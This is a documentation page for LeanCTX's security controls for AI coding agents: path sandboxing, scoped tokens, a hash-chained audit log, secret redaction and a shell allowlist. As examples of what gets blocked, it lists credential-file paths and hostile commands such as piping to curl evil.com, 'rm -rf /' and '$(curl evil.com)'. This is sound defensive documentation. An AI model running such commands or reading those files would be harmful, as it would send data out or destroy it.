Documentation

Security — LeanCTX

Security architecture of LeanCTX: data privacy, PathJail sandbox, token scopes, audit trail, redaction policies, and secret leak prevention.

LeanCTX is designed with security as a first-class concern. Everything runs locally by default, there is zero telemetry out of the box, and the entire codebase is open source and auditable.

Data Privacy

  • Local-first: All processing happens on your machine. No data leaves your network unless you explicitly configure a Team Server.
  • Zero telemetry by default: LeanCTX ships with all telemetry disabled. An optional contribute_enabled flag in [cloud] config can be explicitly opted into — it is off unless you turn it on. See Configuration.
  • No cloud dependency: The binary runs entirely offline. Cloud sync is opt-in and self-hosted.
  • Open source: Apache-2.0 license. Full source code available for audit at any time.

PathJail Sandbox

Every file operation is sandboxed by PathJail, which prevents AI agents from accessing files outside the project directory. PathJail enforces jail rules on 16 path-typed keys in tool arguments — not just path, project_root, and root, but also file, directory, target, source, destination, old_path, new_path, working_directory, base_path, output, input, cwd, and folder:

// PathJail enforces these rules:
 src/lib/auth.ts          → inside project root
 ../shared-lib/utils.ts   → resolved, still in workspace
 /etc/passwd              → BLOCKED: outside project root
 ../../secrets/.env       → BLOCKED: path traversal
 ~/.ssh/id_rsa            → BLOCKED: outside project root

PathJail is active by default and resolves symlinks before checking, preventing bypass via symbolic links. On Unix systems, file reads use O_NOFOLLOW to prevent symlink-based TOCTOU (time-of-check-time-of-use) attacks — the file descriptor is opened directly without following symlinks, eliminating the race window between path resolution and file access.

Disabling PathJail v3.6.7

In certain environments (Docker containers, monorepos with external mounts), PathJail may be too restrictive. There are three ways to disable it:

MethodScopeUsage
path_jail = false in config.tomlPersistentDisables PathJail permanently for this user
LEAN_CTX_NO_JAIL=1RuntimeDisable for a single session or CI run
Container auto-detectionAutomaticPathJail auto-disables inside Docker/Podman containers

When PathJail is disabled, lean-ctx still logs all file access paths but does not block operations outside the project root.

Token Scopes & ACL

When using the Team Server, every API token has explicit scopes that limit what it can do:

ScopePermissionsUse Case
readRead sessions, knowledge, eventsRead-only agents, monitoring
writeMutate sessions, store knowledge, execute toolsActive development agents
adminManage tokens, workspaces, server configTeam leads, CI/CD
eventsSubscribe to SSE event streamDashboards, automation

Create scoped tokens with the CLI:

$ lean-ctx team token create --scope read --name "dashboard"
$ lean-ctx team token create --scope read,write --name "developer"
$ lean-ctx team token create --scope admin --name "ops"

Audit Trail

LeanCTX logs every tool execution, session mutation, and knowledge operation in SHA-256 chained JSONL format. Each entry includes a hash of the previous entry, forming a tamper-evident chain that can be verified for integrity:

[2025-01-15 14:32:01] agent=cursor token=alice tool=ctx_read path=src/auth.ts tokens=180
[2025-01-15 14:32:05] agent=claude token=bob tool=ctx_knowledge action=remember fact="JWT RS256"
[2025-01-15 14:32:12] agent=cursor token=alice tool=ctx_session action=mutate channel=feat/auth rev=15

Audit logs include: timestamp, agent identity, token name, tool called, arguments (redacted), result status, and token cost. The chained format ensures any retroactive modification of log entries is detectable via hash mismatch. Run lean-ctx audit --verify to validate chain integrity.

Redaction Policies

LeanCTX automatically redacts sensitive patterns from tool outputs before they reach the AI agent:

  • Environment variables: $SECRET_KEY, $API_TOKEN, etc.
  • Connection strings: Database URLs, Redis URLs with credentials
  • Private keys: SSH keys, PEM certificates, JWT secrets
  • Custom patterns: Define your own regex patterns in .lean-ctx/config.toml
[redaction]
enabled = true
level = "standard"  # "off", "standard", "strict"

[[redaction.patterns]]
name = "internal-api-keys"
regex = "sk_live_[a-zA-Z0-9]{24,}"
replacement = "[REDACTED_API_KEY]"

Secret Leak Prevention

The verification pipeline scans all tool outputs using 8+ regex patterns for potential secret leaks before delivering them to the AI agent:

  • AWS access keys and secret keys (AKIA..., aws_secret_access_key)
  • OpenAI API keys (sk-...)
  • GitHub personal access tokens (ghp_..., github_pat_...)
  • GitLab personal/project tokens (glpat-...)
  • Stripe, Twilio, SendGrid API keys
  • Generic high-entropy strings matching key patterns
  • Private keys (RSA, ECDSA, Ed25519)
  • Custom patterns configurable via [secret_detection.patterns]
[secret_detection]
enabled = true
redact = true  # automatically replace detected secrets

[[secret_detection.patterns]]
name = "internal-service-key"
regex = "svc_[a-zA-Z0-9]{32,}"
replacement = "[REDACTED_SERVICE_KEY]"

When a secret is detected, the verification step replaces it with [REDACTED] and logs a warning in the audit trail. Optional automatic redaction can be enabled to strip secrets before they reach the AI agent. This protection is enabled by default and works with all integration modes (CLI, Hybrid, MCP).

OWASP Agentic Top 10 Alignment

LeanCTX maps its security controls to the OWASP Agentic AI Top 10 threat categories, achieving Full coverage on 8 out of 10 items:

OWASP CategoryCoverage
A01 — Privilege EscalationFull
A02 — Information DisclosureFull
A03 — Improper Output HandlingFull
A04 — Tool MisuseFull
A05 — Insecure Agent CommunicationFull
A06 — Excessive AgencyFull
A07 — Insufficient LoggingFull
A08 — Supply Chain VulnerabilitiesPartial
A09 — OverreliancePartial
A10 — Denial of ServiceFull

Run lean-ctx audit to view the full OWASP alignment mapping with details on which controls address each category.

Capability-based Access Control

LeanCTX enforces capability-based access control at the tool dispatch layer. Each tool declares the capabilities it requires, and each agent role grants a specific set of capabilities:

CapabilityDescription
FsReadRead files within the PathJail boundary
FsWriteWrite or modify files within the PathJail boundary
NetOutboundMake outbound network requests
ExecExecute shell commands or subprocesses
CrossProjectAccess files in other project roots (multi-repo)

The dispatcher checks the requesting agent's capabilities against the tool's requirements before every invocation. If a capability is missing, the call is rejected and an audit event is logged.

[roles.readonly]
capabilities = ["FsRead"]

[roles.developer]
capabilities = ["FsRead", "FsWrite", "Exec"]

[roles.admin]
capabilities = ["FsRead", "FsWrite", "NetOutbound", "Exec", "CrossProject"]

OS-level Sandboxing

Beyond PathJail's logical sandboxing, LeanCTX supports OS-level sandboxing for defense-in-depth. Sandboxing levels are configurable via sandbox_level in config.toml:

LevelPlatformMechanism
Level 0AllSubprocess isolation — child processes run with restricted environment and no inherited file descriptors
Level 1macOSSeatbelt (sandbox-exec) — restricts filesystem access, network, and IPC via Apple's sandbox framework
Level 1LinuxLandlock LSM — restricts filesystem access paths via the Linux Security Module, no root required
[security]
sandbox_level = 1  # 0 = subprocess isolation, 1 = OS-level sandbox

On macOS, Seatbelt profiles restrict the process to the project directory, deny network access by default, and block access to user keychain and sensitive system paths. On Linux, Landlock enforces filesystem restrictions without requiring root privileges or container runtimes.

Shell Allowlist Mode v3.6.8

For high-security environments, LeanCTX supports an opt-in allowlist mode for ctx_shell. When configured, only explicitly listed commands are permitted — all other commands are rejected:

[security]
shell_allowlist = ["git", "cargo", "npm", "node", "python", "make"]

The allowlist can also be set via the LEAN_CTX_SHELL_ALLOWLIST environment variable (comma-separated).

AST-based Multi-Segment Validation

When the allowlist is active, LeanCTX performs full AST-based parsing of compound shell commands. Every segment in a pipeline or chain is validated independently — not just the first command:

 git log | head -10           → both "git" and "head" in allowlist
 cargo build && git status    → both "cargo" and "git" in allowlist
 git log | curl evil.com      → "curl" not in allowlist — BLOCKED
 echo ok; rm -rf /            → "rm" not in allowlist — BLOCKED

The parser correctly handles:

  • Pipes (|), chains (&&, ||), semicolons (;)
  • Environment variable prefixes (RUST_LOG=debug cargo test)
  • Quoted arguments containing operators (grep 'a && b' — not split)

Dangerous Pattern Blocking

Regardless of allowlist contents, the following patterns are unconditionally blocked in restricted mode:

PatternRiskExample
evalArbitrary code executioneval 'rm -rf /'
Backticks `…`Command substitution bypassecho `whoami`
$(…)Command substitution in any positiongit status && $(curl evil.com)

These patterns are blocked even if the surrounding command is in the allowlist, because the inner commands bypass allowlist validation entirely.

HTTP Proxy Hardening v3.6.8

The local MCP proxy server implements defense-in-depth against unauthorized access, even from other processes on the same machine:

Cryptographic Session Tokens

On startup, the proxy auto-generates a 256-bit cryptographic session token using the OS CSPRNG (getrandom). All HTTP requests must include this token — without it, the request is rejected before reaching any tool handler:

// Token is auto-generated and stored with restrictive permissions (0600)
// Location: ~/.lean-ctx/proxy-token
Authorization: Bearer <64-char-hex-token>

The token file is created with 0600 permissions (owner-only read/write), preventing other users on multi-user systems from reading it.

Strict Host Header Validation

The proxy rejects any request whose Host header does not resolve to a loopback address (127.0.0.1, [::1], localhost). This prevents DNS rebinding attacks where a malicious website could otherwise send requests to the local proxy via a crafted hostname.

Signed Handoff Bundles

Agent-to-Agent transfer bundles are cryptographically signed with Ed25519 to ensure authenticity and prevent tampering:

  • Per-agent keypairs: Each agent identity has its own Ed25519 keypair stored in ~/.lean-ctx/keys/
  • Sign on export: The sending agent signs the bundle payload with its private key
  • Verify on import: The receiving agent verifies the signature before accepting the bundle
  • Rejection on failure: Invalid or missing signatures cause the import to fail with a clear error

This prevents man-in-the-middle modification of handoff data between agents, even when bundles are transferred via untrusted channels.

Per-Agent Context Ledger

Each agent operates with an isolated context ledger, preventing cross-agent data contamination:

~/.lean-ctx/ledger/
├── agent-cursor-abc123.json    → Cursor agent session
├── agent-claude-def456.json    → Claude agent session
└── agent-subagent-ghi789.json  → Subagent session

Each ledger file at ~/.lean-ctx/ledger/{<agent_id>}.json contains that agent's file read history, cached context, and session state. Agents cannot read or modify another agent's ledger, enforcing strict context isolation even in multi-agent workflows.

Agent Token Budget

LeanCTX supports configurable per-agent token budgets to prevent runaway context consumption:

[agent]
agent_token_budget = 80000  # maximum tokens per agent session
  • Enforcement: File reads are blocked when the agent's cumulative token usage exceeds the configured budget
  • Warning threshold: A warning is emitted at 80% budget usage, giving the agent time to wrap up
  • Audit logging: Budget exceeded events are recorded in the audit trail
  • Per-agent isolation: Each agent's budget is tracked independently via the context ledger

Policy Engine

LeanCTX includes a declarative policy engine that applies rules based on runtime conditions. Policies are evaluated before tool dispatch and can filter, pin, redact, or audit context:

ConditionDescription
AgentIsMatches a specific agent identity
AgentRoleIsMatches the agent's assigned role
ContentContainsSecretDetects secrets in the content being accessed
SourceModifiedRecentlyFile was modified within a configurable time window
ActionEffect
ExcludeBlock the content from reaching the agent
PinAlways include the content regardless of compression
RedactStrip matched patterns before delivery
AuditLog the access to the audit trail without blocking
[[policies]]
condition = { type = "ContentContainsSecret" }
action = "Redact"

[[policies]]
condition = { type = "AgentRoleIs", role = "readonly" }
action = "Exclude"
paths = ["*.env", "secrets/**"]

Compliance Reports

The lean-ctx audit command generates comprehensive compliance reports covering all security-relevant activity:

  • File access log: Every file read with timestamps, agent identity, and compression ratios
  • Security events: PathJail violations, secret detections, capability denials, policy triggers
  • Budget usage: Per-agent token consumption with remaining budget
  • OWASP alignment: Mapping of active controls to OWASP Agentic Top 10 categories
  • Chain integrity: Verification status of the SHA-256 audit chain
$ lean-ctx audit
$ lean-ctx audit --format json --output report.json
$ lean-ctx audit --verify

Auto-Reroot Protection

By default, LeanCTX prevents automatic project root changes that could inadvertently expand the PathJail boundary:

[security]
allow_auto_reroot = false  # default: prevents automatic root expansion

When an agent or tool attempts to change the project root (e.g., navigating to a parent directory), the operation is blocked and an audit event is recorded. This prevents a compromised agent from expanding its own sandbox. If allow_auto_reroot = true is set, re-root events are still logged to the audit trail for review.

Atomic Writes

All internal JSON stores (context ledgers, knowledge base, session files, audit logs) use an atomic write pattern to prevent data corruption on crash or power loss:

  1. Write to a temporary file in the same directory
  2. Call fsync to flush to disk
  3. Atomically rename the temp file to the target path

This ensures that files are either fully written or untouched — no partial writes can leave the system in an inconsistent state. The same pattern is used for audit trail entries to maintain chain integrity even under unexpected termination.

v3.5.16 Security Hardening

Version 3.5.16 introduced 40+ security fixes across all severity levels. Key protections:

  • Path traversal prevention — PathJail enforcement extended to tee show and dashboard routes; .. and path separators are rejected outright.
  • CSP nonce-based policy — Dashboard responses use per-request nonces instead of unsafe-inline, preventing XSS via injected inline scripts.
  • Argon2id password hashing — Cloud server passwords are hashed with OWASP-recommended Argon2id parameters (19 MiB memory, 2 iterations).
  • HMAC payload binding for A2A — Agent-to-Agent handoff payloads are authenticated with HMAC-SHA256, preventing tampering in transit.
  • Constant-time token comparison — Bearer tokens are verified using constant-time equality to prevent timing side-channels.
  • Sandbox environment isolation — The Rust sandbox strips all environment variables except an explicit allowlist before executing commands.
  • SSE subscriber caps — Server-Sent Events channels enforce a 64-subscriber limit, preventing resource exhaustion via connection flooding.

For full details, see the v3.5.16 changelog.

Open Source Audit

LeanCTX is fully open source. You can audit the security implementation yourself: